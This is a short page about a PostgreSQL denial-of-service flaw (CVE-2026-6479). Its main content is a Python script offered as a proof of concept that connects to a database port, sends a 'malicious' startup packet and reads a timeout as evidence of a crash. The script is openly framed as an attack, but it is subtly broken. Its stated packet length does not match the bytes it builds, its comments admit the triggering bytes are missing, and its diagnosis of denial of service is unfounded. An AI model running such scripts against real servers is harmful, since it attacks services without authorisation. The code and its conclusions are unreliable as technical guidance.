CVE-2026-6479 PostgreSQL 拒绝服务漏洞

import socket import sys # Conceptual Proof of Concept for CVE-2026-6479 # This script demonstrates the connection vector. # Actual exploitation requires specific packet manipulation during SSL/GSS negotiation. TARGET_HOST = "127.0.0.1" TARGET_PORT = 5432 def send_malicious_request(): print(f"[*] Attempting to connect to {TARGET_HOST}:{TARGET_PORT}...") try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the PostgreSQL server s.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established.") # In a real exploit, specific bytes triggering the recursion # in the SSL/GSS negotiation layer would be sent here. # For example, sending a StartupMessage with conflicting parameters. # Sending a generic startup message to initiate negotiation # Length: 60 bytes, Protocol: 3.0 (196608) payload = b"\x00\x00\x00\x3c\x00\x03\x00\x00" payload += b"user\x00postgres\x00database\x00postgres\x00\x00" s.send(payload) print("[+] Payload sent. Check if the service crashes.") # Receive response (optional, might hang if DoS is successful) response = s.recv(1024) print(f"[+] Received response: {response}") s.close() except socket.timeout: print("[!] Connection timed out. Possible Denial of Service triggered.") except ConnectionRefusedError: print("[-] Connection refused. Service may already be down.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malicious_request()